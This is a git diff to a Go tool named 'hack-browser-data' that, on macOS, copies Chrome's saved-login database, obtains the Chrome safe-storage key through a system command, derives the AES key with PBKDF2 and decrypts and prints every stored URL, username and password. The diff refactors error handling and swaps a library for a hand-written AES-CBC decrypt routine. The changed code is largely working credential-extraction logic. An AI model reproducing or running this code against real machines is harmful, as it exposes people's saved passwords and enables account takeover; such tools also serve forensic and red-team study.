diff --git a/core/common/common.go b/core/common/common.go index a03c142..9717bbd 100644 --- a/core/common/common.go +++ b/core/common/common.go @@ -2,6 +2,7 @@ package common import ( "database/sql" + "fmt" "hack-browser-data/log" "hack-browser-data/utils" @@ -67,12 +68,16 @@ func ParseDB() (results []*LoginData) { LoginUrl: url, } if len(pwd) > 3 { - password = utils.Aes128CBCDecrypt(pwd[3:]) + password, err = utils.Aes128CBCDecrypt(pwd[3:]) + if err != nil { + panic(err) + } } loginD.Password = password if err != nil { log.Println(err) } + fmt.Printf("%+v\n", loginD) results = append(results, loginD) } return diff --git a/go.mod b/go.mod index 467018a..372468e 100644 --- a/go.mod +++ b/go.mod @@ -3,7 +3,6 @@ module hack-browser-data go 1.14 require ( - github.com/forgoer/openssl v0.0.0-20200331032942-ad9f8d57d8b1 github.com/mattn/go-sqlite3 v1.14.0 go.uber.org/zap v1.15.0 golang.org/x/crypto v0.0.0-20200604202706-70a84ac30bf9 diff --git a/main.go b/main.go index 638d71b..5c672ae 100644 --- a/main.go +++ b/main.go @@ -5,20 +5,26 @@ import ( "hack-browser-data/core/common" "hack-browser-data/log" "hack-browser-data/utils" + "os" "runtime" ) func main() { - err := utils.CopyDB(utils.GetDBPath(utils.LoginData), utils.LoginData) - if err != nil { - log.Println(err) - } osName := runtime.GOOS switch osName { case "darwin": + chromePath, err := utils.GetDBPath(utils.LoginData) + if err != nil { + log.Error("can't find chrome.app in OS") + } + err = utils.CopyDB(chromePath, utils.LoginData) + if err != nil { + log.Println(err) + } utils.InitChromeKey() common.ParseDB() case "windows": fmt.Println("Windows") } + os.Remove(utils.LoginData) } diff --git a/utils/utils_darwin.go b/utils/utils_darwin.go index a97e470..c567d32 100644 --- a/utils/utils_darwin.go +++ b/utils/utils_darwin.go @@ -5,12 +5,10 @@ import ( "crypto/aes" "crypto/cipher" "crypto/sha1" - "fmt" "hack-browser-data/log" "os/exec" "path/filepath" - "github.com/forgoer/openssl" "golang.org/x/crypto/pbkdf2" ) @@ -26,12 +24,12 @@ var ( chromePass []byte ) -func GetDBPath(dbName string) string { +func GetDBPath(dbName string) (string, error) { s, err := filepath.Glob(macChromeDir + dbName) if err != nil && len(s) == 0 { - panic(err) + return "", err } - return s[0] + return s[0], nil } func InitChromeKey() { @@ -47,78 +45,33 @@ func InitChromeKey() { log.Println(err) panic(err) } - if stderr.Len() > 0 { panic(stderr.String()) } // replace /n temp := stdout.Bytes() chromePass = temp[:len(temp)-1] + DecryptPass(chromePass) +} + +func DecryptPass(chromePass []byte) { chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) } -func DecryptPass(chromePass []byte) []byte { - l := pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) - return l -} - -func Aes128CBCDecrypt(encryptPass []byte) string { - src, err := openssl.AesCBCDecrypt(encryptPass, chromeKey, iv, openssl.PKCS5_PADDING) +func Aes128CBCDecrypt(encryptPass []byte) (string, error) { + block, err := aes.NewCipher(chromeKey) if err != nil { - log.Println(err) + return "", err } - return string(src) + dst := make([]byte, len(encryptPass)) + mode := cipher.NewCBCDecrypter(block, iv) + mode.CryptBlocks(dst, encryptPass) + dst = PKCS5UnPadding(dst) + return string(dst), nil } -func AesDecrypt(ciphertext []byte, key, iv []byte) ([]byte, error) { - block, err := aes.NewCipher(key) - if err != nil { - return nil, err - } - blockMode := cipher.NewCBCDecrypter(block, iv) - origData := make([]byte, len(ciphertext)) - fmt.Println(blockMode.BlockSize()) - //func (x *cbcDecrypter) CryptBlocks(dst, src []byte) { - // if len(src)%x.blockSize != 0 { - // panic("crypto/cipher: input not full blocks") - blockMode.CryptBlocks(origData, ciphertext) - origData = PKCS5UnPadding(origData) - return origData, nil -} - -func ZeroPadding(ciphertext []byte, blockSize int) []byte { - padding := blockSize - len(ciphertext)%blockSize - padtext := bytes.Repeat([]byte{0}, padding) - return append(ciphertext, padtext...) -} - -func ZeroUnPadding(origData []byte) []byte { - length := len(origData) - unpadding := int(origData[length-1]) - return origData[:(length - unpadding)] -} - -func PKCS5Padding(ciphertext []byte, blockSize int) []byte { - padding := blockSize - len(ciphertext)%blockSize - padtext := bytes.Repeat([]byte{byte(padding)}, padding) - return append(ciphertext, padtext...) -} - -func PKCS5UnPadding(origData []byte) []byte { - length := len(origData) - // 去掉最后一个字节 unpadding 次 - unpadding := int(origData[length-1]) - return origData[:(length - unpadding)] -} - -func PKCS7Padding(ciphertext []byte, blockSize int) []byte { - padding := blockSize - len(ciphertext)%blockSize - padtext := bytes.Repeat([]byte{byte(padding)}, padding) - return append(ciphertext, padtext...) -} - -func PKCS7UnPadding(origData []byte) []byte { - length := len(origData) - unpadding := int(origData[length-1]) - return origData[:(length - unpadding)] +func PKCS5UnPadding(src []byte) []byte { + length := len(src) + unpadding := int(src[length-1]) + return src[:(length - unpadding)] }